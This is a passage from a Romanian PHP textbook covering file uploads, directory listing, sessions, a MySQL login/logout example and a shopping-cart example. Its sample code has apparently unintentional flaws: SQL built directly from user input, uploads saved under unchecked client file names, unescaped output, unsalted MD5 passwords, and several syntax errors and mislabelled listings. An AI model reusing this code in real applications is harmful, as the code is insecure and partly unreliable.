din directorul temporar în care au fost încãrcate în directorul preferat. Astfel, pentru a
copia un fiºier din directorul temporar într-un subdirector al directorului-rãdãcinã al
sitului Web se poate utiliza o secvenþã similarã cu urmãtoarea:
<?php
$dir_c = getcwd();
if (is_uploaded_file($_FILES[’filename’][’tmp_name’]) &&
is_writable($dir_c.’/myfiles/’)) {
copy($_FILES[’filename’][’tmp_name’],
$dir_c.’/myfiles/’.$_FILES[’filename’][’name’]);
echo ’Operatia de copiere s-a efectuat!’;
}
else
echo ’Operatia de copiere nu s-a putut efectua!’;
?>
În exemplul anterior, fiºierul încãrcat este copiat în subdirectorul myfiles al direc-
torului curent. Funcþia is_uploaded_file() întoarce valoarea TRUE dacã fiºierul al
cãrui nume este transmis ca argument a fost încãrcat pe server, iar funcþia is_writable()
întoarce TRUE dacã se poate scrie în directorul al cãrui nume îi este transmis ca argument.
Pentru a muta un fiºier încãrcat pe server din directorul temporar într-un alt director
precizat de programator poate fi utilizat urmãtorul fragment de cod:
<?php
$uploaddir = getcwd().’/myfiles/’;
$uploadfile = $uploaddir. $_FILES[’filename’][’name’];
if (move_uploaded_file($_FILES[’filename’][’tmp_name’],
$uploadfile) && is_writable($uploadfile))
echo ’Fisierul a fost mutat!’;
else
echo ’Fisierul nu a fost mutat’;
?>
Dupã cum se observã, pentru a realiza operaþia de mutare a fost utilizatã funcþia
move_uploaded_file(), care primeºte douã argumente: primul este numele temporar
al fiºierului încãrcat, iar cel de-al doilea, numele fiºierului-destinaþie (în care va fi
mutat). Dacã acesta din urmã existã, va fi suprascris. Funcþia verificã dacã fiºierul al
cãrui nume transmis ca prim argument este valid (i.e., dacã este numele unui fiºier
încãrcat în directorul temporar prin HTTP post) ºi apoi mutã fiºierul respectiv la
destinaþie. Dacã acest nume nu este valid, funcþia va întoarce valoarea FALSE . Este
necesar ca PHP sã aibã drept de scriere în directorul-destinaþie (myfiles, în exemplul
anterior). În situaþia în care fiºierul este valid, dar nu poate fi mutat din diverse motive,
funcþia va întoarce, de asemenea, valoarea FALSE (fiind generatã ºi o eroare PHP de tip
warning).
48 PROGRAMAREA ÎN PHP

Este evident cã PHP trebuie sã aibã dreptul de a scrie în directorul myfiles, pentru ca
operaþiile de copiere ºi, respectiv, mutare sã poatã fi efectuate. Atunci când scrieþi
aplicaþii, þineþi seama cã PHP se executã în contul serverului Web (adesea, acest cont este
nobody), având drepturi limitate asupra fiºierelor ºi directoarelor. Rezultã cã va trebui sã
modificaþi drepturile de acces ale directorului-destinaþie myfiles pentru ca PHP sã poatã
scrie în el.
Este posibil sã se încarce mai multe fiºiere prin intermediul aceluiaºi formular
XHTML dacã acesta este similar cu cel prezentat în continuare (în exemplul oferit, pot
fi încãrcate trei fiºiere):
<form method=”post” action=”<?php echo $PHP_SELF; ?>”
enctype=”multipart/form-data”>
<input type=”hidden” name=”max_file_size”
value=”1000000” />
Fisier 1: <input type=”file” name=”file[]” /><br />
Fisier 2: <input type=”file” name=”file[]” /><br />
Fisier 3: <input type=”file” name=”file[]” /><br />
<input type=”submit” name=”submit” value=”Trimite” />
</form>
Informaþiile despre cele trei fiºiere încãrcate în exemplul prezentat vor fi gãsite ca
valori ale elementelor tabloului multidimensional $_FILES[’file’]. De exemplu,
mãrimile fiºierelor sunt date de $_FILES[’file’][’size’][0] , $_FILES[’file’]
[’size’][1] ºi $_FILES[’file’][’size’][2] .

Rotaþia bannerelor
Vã prezentãm în continuare o aplicaþie (listing-ul 3.4) care realizeazã rotaþia ºi afiºarea
unor bannere publicitare. Vom presupune cã numele fiºierelor în care sunt stocate
bannerele încep cu secvenþa banner (care conþine ºase caractere) ºi cã fiºierele se aflã în
subdirectorul banner al directorului curent.
3.4. Fiºierul rotation.php
<!DOCTYPE html
PUBLIC ”-//W3C//DTD XHTML 1.0 Transitional//EN”
”DTD/xhtml1-transitional.dtd”>
<html xmlns=”http://www.w3.org/1999/xhtml”>
<head>
<title>Rotatia bannerelor</title>
</head>
<body>
<?php
session_start();
$bannerdir= getcwd().”/banner/”;
if (is_dir($bannerdir)) {
if($dh=opendir($bannerdir)) {
PHP ªI SISTEMUL DE FIªIERE 49

while (($f=readdir($dh))!== false) {


if(strtolower(substr($f,0,6)) == ’banner’)
$images[]=$f;
}
}
}
if (!isset($_SESSION[’key’]))
$_SESSION[’key’] = 0;
else {
if ($_SESSION[’key’] >= count($images))
$_SESSION[’key’] = 0;
echo ”<img src=’”.$bannerdir.
$images[$_SESSION[’key’]].”’>”;
$key=$_SESSION[’key’];
$key++;
$_SESSION[’key’] = $key;
}
?>

Scriptul permite afiºarea tuturor bannerelor existente în directorul banner. La fiecare


nouã încãrcare a paginii este afiºat un alt banner. Numele bannerelor sunt stocate în tabloul
$images , iar indexul bannerului curent afiºat este pãstrat în $_SESSION[’key’]. Acest
index este incrementat la fiecare afiºare ºi reiniþializat la valoarea 0 dupã ce a fost afiºat
bannerul cu indexul cel mai mare. Astfel, bannerele sunt afiºate din nou, în aceeaºi ordine.

Afiºarea recursivã a directoarelor ºi fiºierelor


În continuare este prezentat un script (listing-ul 3.5) care permite afiºarea structurii
arborescente a unui director, incluzând subdirectoarele ºi fiºierele acestuia. Presupunem
cã numele directoarelor nu conþin caracterul „.” (punct).
3.5. Fiºierul display.php
<?php
function display($file_dir){
if ($hd = @opendir($file_dir)){
$i=0;
while (($file = @readdir($hd)) !== false ){
if ($file != ”.” && $file != ”..”){
$files[$i]=$file;
$i++;
}
}
if(isset($files)) {
$dir_length = count($files);
echo ”<ul>”;
50 PROGRAMAREA ÎN PHP

for($i=0;$i<$dir_length;$i++){
if(strrpos($files[$i], ”.”) == false){
echo ”<li>”.$files[$i].”/</li>”;
display($file_dir.”/”.$files[$i]);
}
else{
echo ”<li><a href=’”.$file_dir.”/”.
$files[$i].”’>”.$files[$i].”</a></li>”;
}
}
echo ”</ul>”;
}
closedir($hd);
}
}
?>
<!DOCTYPE html
PUBLIC ”-//W3C//DTD XHTML 1.0 Transitional//EN”
”DTD/xhtml1-transitional.dtd”>
<html xmlns=”http://www.w3.org/1999/xhtml”>
<head>
<title>Afisare recursiva a directoarelor</title>
</head>
<body>
<?php
display(”.”);
?>
</body>
</html>

Funcþia display() este o funcþie recursivã. Ea se autoapeleazã de cîte ori este


necesar pentru a determina ºi afiºa structura completã de subdirectoare ºi fiºiere a unui
director. Dacã se doreºte obþinerea structurii directorului curent, funcþia va fi apelatã ca
display(”.”). Afiºarea arborescentã a structurii este posibilã datoritã utilizãrii listelor
XHTML imbricate. La fiecare nivel al structurii se alcãtuieºte un tablou numit $files.
Dacã numele unui element al acestui tablou nu conþine caracterul punct, înseamnã cã
acesta reprezintã un director ºi, în consecinþã, este apelatã din nou funcþia display()
º.a.m.d. Funcþia strrpos(string, character) întoarce ultima poziþie numericã în
care apare caracterul character în ºirul string ºi FALSE, dacã acest caracter nu este
gãsit.
PHP ªI SISTEMUL DE FIªIERE 51

afiºate dupã executarea codului din listing-ul 3.5

Structura arborescentã
a unui director

În scriptul prezentat anterior, funcþia strrpos() este utilizatã pentru a determina


dacã un element al structurii arborescente reprezintã un director sau un fiºier. Salvaþi
scriptul în fiºierul display.php ºi executaþi-l (http://127.0.0.1/files/display.php).
52 PROGRAMAREA ÎN PHP

CAPITOLUL 4

PHP ºi utilizarea sesiunilor


„Nu putem admite existenþa unui lucru dacã
nu-i putem atribui o semnificaþie.”
E. Cassirer

În acest capitol este prezentatã o modalitate de pãstrare a stãrii


sesiunii în PHP prin utilizarea variabilelor-sesiune, precum ºi
douã aplicaþii care folosesc acest tip de variabile: una realizeazã
autorizarea ºi autentificarea utilizatorilor, iar cealaltã implemen-
teazã un coº de cumpãrãturi pentru magazinele virtuale.

Pãstrarea stãrii sesiunii

Prin sesiune se înþelege succesiunea de accesãri ale unor pagini aflate în componenþa
aceluiaºi sit Web de cãtre un utilizator, în aceeaºi fereastrã a navigatorului Web. O
sesiune se încheie în momentul în care utilizatorul închide navigatorul.
Protocolul HTTP, care stabileºte reguli pentru sintaxa ºi modul de transmitere a
mesajelor între clientul ºi serverul Web, precum ºi acþiunile acestora ca rãspunsuri la
diverse comenzi, este lipsit de stãri, adicã nu are posibilitatea de a memora un utilizator
ºi acþiunile acestuia (i.e., serverul Web nu memoreazã cererile clientului), deoarece
comenzile sunt executate independent, fãrã nici o informaþie despre comenzile executate
anterior. Acesta este motivul pentru care este dificil sã se realizeze situri ce rãspund
inteligent la acþiunile utilizatorilor. Tot din acest motiv, valorile celor mai multe variabile
PHP utilizate într-un script se pierd la încheierea execuþiei acestuia. Existã situaþii în
care valorile unor variabile ar trebui pãstrate în cadrul unei sesiuni, de exemplu în
siturile care utilizeazã autentificarea utilizatorilor.
Problema pãstrãrii valorilor unor variabile în cadrul unei sesiuni a primit diverse
soluþii. Douã dintre acestea presupun utilizarea variabilelor cookie ºi, respectiv,
a variabilelor-sesiune. Soluþiile amintite au fost implementate în toate limbajele
de programare pentru Web, inclusiv în PHP.
În acest capitol vom face câteva referiri la variabilele cookie ºi vom prezenta pe larg
folosirea variabilelor-sesiune în limbajul PHP.
Valorile variabilelor cookie sunt pãstrate pe calculatorul utilizatorului ºi folosite în
diverse scopuri, dintre care menþionãm:
PHP ªI UTILIZAREA SESIUNILOR 53

• pãstrarea unor informaþii privitoare la preferinþele utilizatorilor;


• pãstrarea unor date care se pierd dupã utilizarea lor (e.g., comenzile de produse în
cadrul unui coº de cumpãrãturi).
Variabilele cookie permit pãstrarea pe client (în browser sau într-un fiºier pe hard
disk) a unor informaþii de stare referitoare la un anumit vizitator al unui site Web.
Pentru pãstrarea unor informaþii confidenþiale (e.g., parolele) se utilizeazã
variabilele-sesiune, ale cãror valori sunt stocate (pentru siguranþa acestora) pe server.

Variabile de tip sesiune


Dupã cum am vãzut, una dintre modalitãþile utilizate în PHP pentru pãstrarea stãrii
sesiunii constã în folosirea variabilelor-sesiune. Acestea pot fi utilizate într-un numãr
mare de scopuri, dintre care amintim douã, ele fiind detaliate în cadrul acestui capitol:
• autorizarea ºi autentificarea utilizatorilor în cadrul secvenþelor de login/logout;
• crearea unui coº de cumpãrãturi pentru magazinele virtuale.
Sesiunile PHP stocheazã valorile variabilele-sesiune într-un fiºier localizat implicit în
directorul /tmp în sistemele UNIX/Linux sau C:\tmp în sistemele Windows, iar utili-
zatorului îi este trimisã o referinþã la fiºierul respectiv, numitã identificator de sesiune
(session ID), aceasta fiind un ºir care conþine 32 de caractere alfanumerice (cifre ºi
litere).
Numele directorului în care va fi creat fiºierul ce stocheazã variabilele-sesiune poate
fi precizat ca valoare a directivei session.save_path în fiºierul php.ini, aºa cum se aratã
în exemplul urmãtor:

session.save_path=/tmp pentru sisteme UNIX/Linux


session.save_path=c:\tmp pentru sisteme Windows

De asemenea, programatorul poate preciza în cadrul unui script directorul curent


utilizat pentru salvarea sesiunilor, folosind funcþia session_save_path(), al cãrei
prototip este:
string session_save_path([string path])
În cazul în care argumentul opþional path nu este precizat, funcþia întoarce calea
directorului curent utilizat pentru salvarea sesiunilor. Dacã argumentul path este prezent,
funcþia stabileºte directorul respectiv ca fiind cel precizat.
Identificatorul de sesiune poate fi pãstrat pe calculatorul client într-un cookie. În acest
sens, este necesar ca în fiºierul php.ini sã se atribuie directivei session.use_cookies
valoarea 1.
În situaþia în care nu este posibilã utilizarea variabilelor cookie în browser deoarece
utilizatorul nu doreºte acest lucru, identificatorul de sesiune poate fi transmis de la o
paginã la alta în douã moduri, prezentate în continuare:
• de cãtre programator, prin adãugarea constantei SID la URL-ul scriptului care
utilizeazã sesiunea respectivã, ca în exemplul prezentat în continuare:
<a href=”info.php?<?php echo strip_tags(SID)?>”>Contact</a>
54 PROGRAMAREA ÎN PHP

Funcþia strip_tags() este utilizatã la afiºarea SID în scopul de a preveni atacurile


XSS (vezi anexa B);
• automat, PHP rescriind, fãrã contribuþia programatorului, toate legãturile pentru a le
adãuga identificatorul de sesiune. Pentru a realiza acest lucru, trebuie ca PHP sã fie
compilat cu opþiunea:
with -enable-trans-id
ºi ca directiva session.use_trans_sid sã fie activatã în fiºierul php.ini. Începând cu
versiunea 4.2.0 a PHP, opþiunea trans-id este compilatã automat, astfel încât, dacã
utilizaþi aceastã versiune sau una ulterioarã, nu trebuie sã vã mai preocupe acest
aspect.
În capitolul de faþã se va presupune cã directiva session.auto_start are valoarea 0 în
fiºierul php.ini, ceea ce înseamnã cã sesiunile vor fi reluate la cerere, prin utilizarea
funcþiei session_start(), al cãrei prototip este:
bool session_start(void)
Funcþia session_start() creeazã o sesiune PHP sau reia o sesiune începutã
anterior, pe baza identificatorului de sesiune trimis de client odatã cu o cerere get sau
post sau cu un cookie ºi întoarce valoarea logicã TRUE.
Datele trimise de client sau create în cursul unei sesiuni trebuie înregistrate. Una
dintre modalitãþile de înregistrare a datelor (care, ulterior, vor putea fi utilizate ca
variabile-sesiune), ce va fi folositã în aceastã lucrare, constã în stocarea lor în variabila
superglobalã $_SESSION, prin atribuire.
Creaþi un director numit session în rãdãcina sitului Web. În acest director veþi salva
fiºierele care conþin scripturile din capitolul prezent. Salvaþi conþinutul listing-ului în
fiºierul test.php.

4.1. Fiºierul test.php


<?php
session_start();
echo ”Crearea sesiunilor”;
if(!isset($_SESSION[’test’]))
$_SESSION[’test’]=”sesiuni”;
?>

Dupã execuþia acestui script (http://127.0.0.1/session/test.php) veþi constata cã în


directorul /tmp (pentru sistemele Linux) sau C:\tmp (pentru sisteme Windows) a fost creat
un fiºier fãrã conþinut, al cãrui nume este similar cu sess_cf5t9c1a36cd81td9ju34c48ea7f4or0
(i.e., este de forma sess_string, unde string este un ºir alcãtuit din 32 de caractere
alfanumerice, el fiind chiar identificatorul de sesiune). Conþinutul fiºierului este:
test|s:7:”sesiuni”;, ceea ce înseamnã cã în sesiunea curentã a fost înregistratã
variabila $_SESSION[’test’], a cãrei valoare este ºirul (s , adicã string) sesiuni,
format din ºapte caractere.
În cazul în care se doreºte eliminarea unei variabile înregistrate în sesiune (dupã
eliminare, aceastã variabilã nu va mai putea fi utilizatã), se procedeazã astfel:
$_SESSION[’nume_variabila’]=FALSE;
PHP ªI UTILIZAREA SESIUNILOR 55

Dupã prelucrarea datelor ºi afiºarea lor, sesiunea curentã poate fi curãþatã (ceea ce
înseamnã cã vor fi ºterse atât datele din fiºierul creat odatã cu sesiunea, cât ºi cele din
tabloul $_SESSION ) ºi, la încheierea acesteia, distrusã (ceea ce înseamnã cã vor fi ºterse
atât fiºierul creat odatã cu sesiunea, cât ºi tabloul $_SESSION). În cele ce urmeazã sunt
explicate modalitãþile de efectuare a celor douã operaþiuni.
Curãþarea sesiunii se poate realiza prin utilizarea funcþiei session_unset(), al
cãrei prototip este urmãtorul:
void session_unset(void)
De asemenea, ºtergerea datelor dintr-o sesiune se poate realiza ºi prin intermediul
funcþiei array(), dupã cum se aratã în continuare:
$_SESSION=array();
Distrugerea unei sesiuni se realizeazã prin intermediul funcþiei session_destroy(),
al cãrei prototip este:
bool session_destroy(void)
Funcþia session_destroy() întoarce valoarea logicã TRUE, dacã sesiunea a fost
distrusã, ºi valoarea logicã FALSE, în caz contrar.
Identificatorul de sesiune este întors de funcþia session_id(), al cãrei prototip
este prezentat în continuare:
string session_id([string id])
Reþineþi cã variabila supergobalã $_SESSION poate stoca nu numai variabile scalare,
ci ºi tablouri, ca în listing-ul 4.2:
4.2. Fiºierul array.php
<?php
$_SESSION[’fructe’][]=”mere”;
$_SESSION[’fructe’][]=”banane”;
?>

Salvaþi conþinutul listing-ului 4.2 în fiºierul array.php ºi executaþi-l (http://127.0.0.1/


session/array.php). Veþi constata cã în fiºierul în care sunt pãstrate valorile variabilelor-
-sesiune a fost adãugat (în situaþia în care aþi închis browserul ºi l-aþi deschis din nou, va
fi creatã o nouã sesiune ºi un nou fiºier asociat):
fructe|a:2:{i:0;s:4:”mere”;i:1;s:6:”banane”;}
Conþinutul adãugat este sugestiv: în sesiunea curentã a mai fost înregistratã variabila
$fructe de tip tablou (a de la array) indexat numeric, având douã elemente: primul
(cu indexul 0) este un ºir (mere) format din patru caractere, cel de-al doilea (cu indexul 1 )
fiind tot un ºir (banane), format din ºase caractere.
56 PROGRAMAREA ÎN PHP

Autorizarea ºi autentificarea utilizatorilor


Sesiunile pot fi utilizate pentru realizarea operaþiilor de login (inclusiv pãstrarea datelor
username ºi password, care vor fi folosite în toate paginile aplicaþiei, în cursul sesiunii
curente) ºi logout. În aceastã secþiune vom prezenta o aplicaþie simplã numitã LoginLogout,
care realizeazã cele douã operaþii. Aplicaþia poate fi inclusã în secþiunea de administrare
a sitului dumneavoastrã.
Fiºierele componente ale aplicaþiei vor fi stocate pe server în subdirectorul /session/
login, aflat în directorul-rãdãcinã al sitului Web. Aplicaþia conþine fiºierele login.php,
functions.php, sectionA.php, sectionB.php ºi logout.php.

Aplicaþia LoginLogout: baza de date


Pentru început, creaþi baza de date login ºi tabelul users, în care trebuie introduse datele
de identificare ale utilizatorilor. Pentru aceasta, porniþi clientul mysql ºi introduceþi
urmãtoarele comenzi:
mysql>CREATE DATABASE login;
mysql>USE login;
mysql>CREATE TABLE users
-> (
->username VARCHAR(30) NOT NULL default ’0’,
->password VARCHAR(32) NOT NULL default ’0’,
->PRIMARY KEY (username)
->);
Introduceþi datele corespunzãtoare unor utilizatori:
mysql>INSERT INTO users (username,password)
->VALUES (’username1’,md5(’password1’));
mysql>INSERT INTO users (username,password)
->VALUES (’username2’,md5(’password2’));
mysql>INSERT INTO users (username,password)
->VALUES (’username3’,md5(’password3’));
mysql>INSERT INTO users (username,password)
->VALUES (’username4’,md5(’password4’));
Dupã cum se observã, parolele au fost criptate cu funcþia MySQL md5(). Dacã
argumentul funcþiei este un ºir, aceasta întoarce un numãr hexazecimal cu 32 de cifre, iar
dacã argumentul este NULL (adicã md5(NULL) ), funcþia întoarce NULL.

Aplicaþia LoginLogout: scripturi


În fiºierul functions.php (listing-ul 4.3) sunt incluse trei funcþii utilizate în aplicaþie
(connection(), authorization() ºi authentication()). Funcþia connection()
este utilizatã pentru conectarea la serverul MySQL ºi selectarea bazei de date.
PHP ªI UTILIZAREA SESIUNILOR 57

4.3. Aplicaþia de login/logout: fiºierul login.php


<?php
session_start();
header(”Cache-control: private”);
function connection($host, $user, $passw, $db) {
$conn = mysql_connect($host,$user,$passw) or
die(”Conexiunea nu a putut fi realizata!”);
mysql_select_db($db,$conn) or
die(”Accesul la baza de date nu a fost realizat”);
}
function authorization($user,$passw) {
$passw=md5($passw);
$rez=mysql_query(”SELECT username,password FROM users
WHERE username=’$user’
AND password=’$passw’”);
if(mysql_num_rows($rez)==1){
session_start();
$_SESSION[’user’] = $user;
$_SESSION[’passw’] = $passw;
$_SESSION[’id’] = session_id();
return true;
}
else
return false;
}
function authentication() {
if($_SESSION[’id’]!=session_id()){
return false;
}
else{
$rez=mysql_query(”SELECT username, password FROM
users WHERE username=’”.
$_SESSION[’user’].”’ AND
password=’”.$_SESSION[’passw’].”’’);
if(mysql_num_rows($rez)!=1)
return false;
else
return true;
}
}
?>

Pentru a evita problemele care pot sã aparã în cazul utilizãrii unor browsere (probleme
ce se manifestã prin posibilitatea pierderii conþinutului unui formular XHTML dupã ce
utilizatorul revine, utilizând butonul Back al browserului, pentru a face unele modificãri
în câmpurile acestuia), este indicat sã plasaþi imediat dupã apelul funcþiei
58 PROGRAMAREA ÎN PHP

session_start() urmãtorul apel al funcþiei header()(la fel ca în scriptul inclus în


listing-ul 4.3):
header(”Cache-control: private”);
Fiºierul login.php (listing-ul 4.4) include formularul în care utilizatorul va introduce
datele de identificare (nume de utilizator ºi parolã). Funcþia authorization() verificã
dacã datele introduse de utilizator în formularul de login sunt corecte (caz în care
utilizatorul va fi logat) sau nu (se va afiºa un mesaj de eroare).
4.4. Aplicaþia de login/logout: fiºierul login.php
<!DOCTYPE html
PUBLIC ”-//W3C//DTD XHTML 1.0 Transitional//EN”
”DTD/xhtml1-transitional.dtd”>
<html xmlns=”http://www.w3.org/1999/xhtml”>
<head>
<title>Login/logout cu sesiuni</title>
</head>
<body>
<?php
include_once(”functions.php”);
connection(”localhost”, ””, ””, ”login”);
if(isset($_POST[’submit’])){
$user = $_POST[’user’];
$passw = $_POST[’passw’];
if(authorization($user, $passw)) {
echo ”<center><h3><b>”.$user.
”<br />Nume si parola valide.
Acces permis!</b></h3>
<a href=\”sectionA.php\”>Sectiunea A</a> | ” .
”<a href=\”sectionB.php\”>Sectiunea B</a> | ” .
”<a href=\”logout.php\”> Logout</a></center>”;
}
else {
echo ”<center><h3>”.$_POST[’user’] .
”<br />Numele sau parola gresita.
Acces neautorizat!</h3></center>
<center><a href=’” . $_SERVER[’PHP_SELF’] .
”’>Inapoi</a>”;
}
}
else {
?>
<center><form method=”post”
action=” <?php echo $_SERVER[’PHP_SELF’]; ?>”>
<table>
<tr>
PHP ªI UTILIZAREA SESIUNILOR 59

<td>Nume utilizator:</td>
<td><input type=”text” name=”user” /></td>
</tr>
<tr>
<td>Parola:</td>
<td><input type=”password” name=”passw” /></td>
</tr>
<tr>
<td><input type=”reset” value=”Anuleaza” /></td>
<td><input type=”submit” name=”submit” value=”Login” />
</td></tr>
</table>
</form></center>
<?php
}
?>
</body>
</html>

Parola introdusã de utilizator în formularul conþinut în pagina login.php este criptatã


cu funcþia PHP md5() (care întoarce un rezultat identic cu rezultatul întors de funcþia
MySQL cu acelaºi nume, dacã funcþiile primesc ca argumente ºiruri identice) pentru a
putea fi comparatã cu parolele stocate în tabelul users al bazei de date login. Dacã
numele ºi parola sunt corecte (adicã se regãsesc într-o înregistrare în tabelul users),
utilizatorul va avea acces la cele douã secþiuni ale aplicaþiei. Acestea sunt reprezentate de
douã fiºiere: sectionA.php ºi sectionB.php.
Pe lângã autorizare, trebuie sã se realizeze ºi autentificarea utilizatorilor. Acest lucru
este necesar deoarece, în caz contrar, un utilizator neautorizat poate sã acceseze direct
paginile sectionA.php (http://127.0.0.1/sesion/login/sectionA.php) ºi sectionB.php
(http://127.0.0.1/sesion/login/sectionB.php), ocolind pagina login.php.
Autentificarea presupune verificarea datelor incluse în sesiune la începutul fiecãrei
pagini a aplicaþiei (sectionA.php ºi sectionB.php). Acest lucru se face prin intermediul
funcþiei authentication().
Codul-sursã conþinut în fiºierele sectionA.php ºi sectionB.php este prezentat în listing-urile
4.5 ºi 4.6, iar codul-sursã conþinut în fiºierul logout.php este prezentat în listing-ul 4.7.
afiºate dupã executarea codului din listing-ul 4.4. (1)

Utilizatorul trebuie
sã introducã datele
de identificare.
60 PROGRAMAREA ÎN PHP

afiºate dupã executarea codului din listing-ul 4.4 (2)

Datele de identificare
nu sunt corecte. Nu
este autorizat
accesul în sistem.

Datele de identificare
sunt corecte. Este
autorizat accesul
în sistem.

4.5. Aplicaþia de login/logout: fiºierul sectionA.php


<!DOCTYPE html
PUBLIC ”-//W3C//DTD XHTML 1.0 Transitional//EN”
”DTD/xhtml1-transitional.dtd”>
<html xmlns=”http://www.w3.org/1999/xhtml”>
<head>
<title>Sectiunea A</title>
</head>
<body>
<?php
include(”functions.php”);
connection(”localhost”, ””, ””, ”login”);
if(authentication()) {
echo ”<center>
<b><h3>Sectiunea A</h3></b><br />
<a href=\”sectionB.php\”>Sectiunea B</a> |
<a href=\”logout.php\”>Logout</a>
</center>”;
}
else
echo ”Acces neautorizat”;
?>
</body>
</html>
PHP ªI UTILIZAREA SESIUNILOR 61

4.6. Aplicaþia de login/logout: fiºierul sectionB.php


<!DOCTYPE html
PUBLIC ”-//W3C//DTD XHTML 1.0 Transitional//EN”
”DTD/xhtml1-transitional.dtd”>
<html xmlns=”http://www.w3.org/1999/xhtml”>
<head>
<title>Sectiunea B</title>
</head>
<body>
<?php
include(”functions.php”);
connection(”localhost”, ””, ””, ”login”);
if(authentication()) {
echo ”<center>
<b><h3>Sectiunea B</h3></b><br />”
<a href=\”sectionA.php\”>Sectiunea A</a> |
<a href=\”logout.php\”>Logout</a>
</center>”;
}
else
echo ”Acces neautorizat”;
?>
</body>
</html>

4.7. Aplicaþia de login/logout: fiºierul logout.php


<?php
session_start();
session_unset();
session_destroy();
header(”Location: login.php”);
?>

Dupã cum se observã în listing-ul 4.7, scriptul care realizeazã operaþia de logout
(inclus în fiºierul logout.php) redirecteazã browserul cãtre pagina de login (login.php),
trimiþând acestuia un antet Location, prin intermediul funcþiei PHP header().

Magazin virtual
Comerþul electronic înseamnã vânzarea de bunuri ºi servicii prin intermediul
tehnologiilor Web. Un material complet pe aceastã temã îl puteþi gãsi în capitolul
„Afaceri pe Web” al lucrãrii Sabin Buraga, Proiectarea siturilor Web. Design ºi
funcþionalitate, ediþia a II-a, Polirom, Iaºi, 2005. În aceastã secþiune ne vom limita
numai la prezentarea unui exemplu de implementare a coºului de cumpãrãturi utilizat de
o aplicaþie de tip magazin virtual.
62 PROGRAMAREA ÎN PHP

Aplicaþia prezentatã, numitã MailShop, oferã spre vânzarea online douã categorii de
produse software pentru poºta electronicã: clienþi de e-mail ºi servere de e-mail.
Utilizând aplicaþia prezentatã, cumpãrãtorii pot sã realizeze urmãtoarele acþiuni:
• vizualizarea produselor oferite spre vânzare în magazin (produse software pentru
poºta electronicã);
• crearea unui coº de cumpãrãturi ºi efectuarea unor operaþii ca: adãugarea unor
produse în coº, afiºarea conþinutului acestuia, ºtergerea unor produse din coº,
ºtergerea întregului conþinut al coºului;
• introducerea datelor de identificare ale cumpãrãtorului;
• trimiterea comenzii departamentului de vânzãri al magazinului.

Aplicaþia MailShop: baza de date


Aplicaþia utilizeazã date stocate în baza de date e-store ºi în tabelul email, pe care le
creaþi astfel:
mysql>CREATE DATABASE e-store;
mysql>USE e-store;
mysql>CREATE TABLE email (
->id INT(10) NOT NULL auto_increment,
->type ENUM(’client’,’server’) NOT NULL default ’client’,
->product VARCHAR(100) NOT NULL default ’’,
->company VARCHAR(100) NOT NULL default ’’,
->price int(6) NOT NULL default ’0’,
->urlimage VARCHAR(100) NOT NULL default ’’,
->av ENUM(’1’,’0’) NOT NULL default ’1’,
->PRIMARY KEY (id)
->);
Tabelul email are câmpurile urmãtoare:
• id – conþine identificatorul unic al produsului;
• type – valoarea sa este tipul produsului (client sau server);
• product – conþine numele produsului;
• company – valoarea lui este numele companiei producãtoare a produsului;
• price – are ca valoare preþul produsului;
• urlimage – valoarea sa este URL-ul relativ (la directorul e-store);
• av – precizeazã dacã produsul este disponibil ( 1) sau nu (0) pentru vânzare.

Aplicaþia MailShop: scripturi


Creaþi subdirectorul e-store, în care veþi stoca fiºierele aplicaþiei. Acestea sunt:
index.php, connect.php, operations.php ºi style.css. În directorul store, creaþi subdi-
rectorul images, în care veþi stoca imaginile asociate produselor.
Fiºierul style.php (listing-ul 4.8) include definiþiile foilor de stil utilizate în aplicaþie:
PHP ªI UTILIZAREA SESIUNILOR 63

4.8. Aplicaþia MailShop: fiºierul style.css


.info {
font-family: tahoma; font-size: 18px;color: #ff0000;
text-align: center; font-style: bold;
}
.send {
font-family: tahoma; font-size: 16px;color: #1477a0;
text-align: center; font-style: bold;
}
.title {
font-family: tahoma; font-size: 18px;color: #ff0000;
font-style: bold;
}
.unavailable {
font-family: tahoma; font-size: 14px;color: #495f80;
font-style: normal;
}
.link {
font-family: tahoma; font-size: 14px; color: #1477a0;
text-decoration: none;
}
.link:hover {
font-family: tahoma; color: #495f80; font-size: 14px;
text-decoration: underline
}
.menu {
font-family: tahoma; font-size: 18px; color: #1477a0;
text-decoration: none;
}
.menu:hover {
font-family: 18px; color: #495f80; font-family: tahoma;
text-decoration: underline
}
.link-car {
font-family: tahoma; font-size: 18px; color: #1477a0;
text-decoration: none;
}
.link-car:hover {
font-family: tahoma; font-family: 18px; color: #495f80;
text-decoration: underline;
}
td#company {
font-family: tahoma; font-size: 14px; font-style: bold;
}
td#product {
font-family: tahoma; font-size: 16px; font-style: bold;
64 PROGRAMAREA ÎN PHP

color: #0072aa ;
}
td#price {
font-family: tahoma; font-size: 14px; color: #ff0000;
}
td#info {
font-family: tahoma; font-size: 14px; color: #ff0000;
}
td#info_pers {
font-family: tahoma; font-size: 16px;color: #495f80;
font-style: bold;
}
td#total {
font-family: tahoma; font-size: 16px;color: #ff0000;
font-style: bold; border-top: 1px solid #ff0000;
border-bottom: 1px solid #ff0000;
}

Conþinutul fiºierului index.php este inclus în listing-ul urmãtor:


4.9. Aplicaþia MailShop: fiºierul index.php
<?php
include(”connect.php”);
include(”operations.php”);
connection(”localhost”,””,””,”e-store”);
?>
<!DOCTYPE html
PUBLIC ”-//W3C//DTD XHTML 1.0 Transitional//EN”
”DTD/xhtml1-transitional.dtd”>
<html xmlns=”http://www.w3.org/1999/xhtml”>
<head>
<link rel=’stylesheet’ href=’style.css’></link>
</head>
<body>
<table align=”center” cellspacing=”5”>
<tr>
<td align=”center”>
<a href=”index.php?op=getproducts” class=”link-car”>
Produse</a> | </td>
<td align=”center”><a href=”index.php?
op=getcart” class=”link-car”>Vezi continutul cosului
</a> | </td>
<td align=”center”><a href=”index.php?op=delete_all”
class=”link-car”>Goleste cosul</a> | </td>
<td align=”center”><a href=”index.php?op=ad_info”
class=”link-car”>Date personale</a> | </td>
<td align=”center”><a href=”index.php?op=final”
PHP ªI UTILIZAREA SESIUNILOR 65

class=”link-car”>Finalizeaza comanda</a></td>
</tr>
</table>
<?php
if(isset($_GET[’op’]) && $_GET[’op’] == ”getcart”)
getcart();
if(isset($_GET[’op’]) && $_GET[’op’] == ”delete”) {
$id = $_GET[’id’];
del_product($id);
getcart();
}
if(isset($_GET[’op’]) && $_GET[’op’] == ”delete_all”) {
del_all($id);
}
if(isset($_GET[’op’]) && $_GET[’op’] == ”final”) {
buy();
}
if(isset($_GET[’op’]) && $_GET[’op’] == ”ad_info”) {
add_info();
}
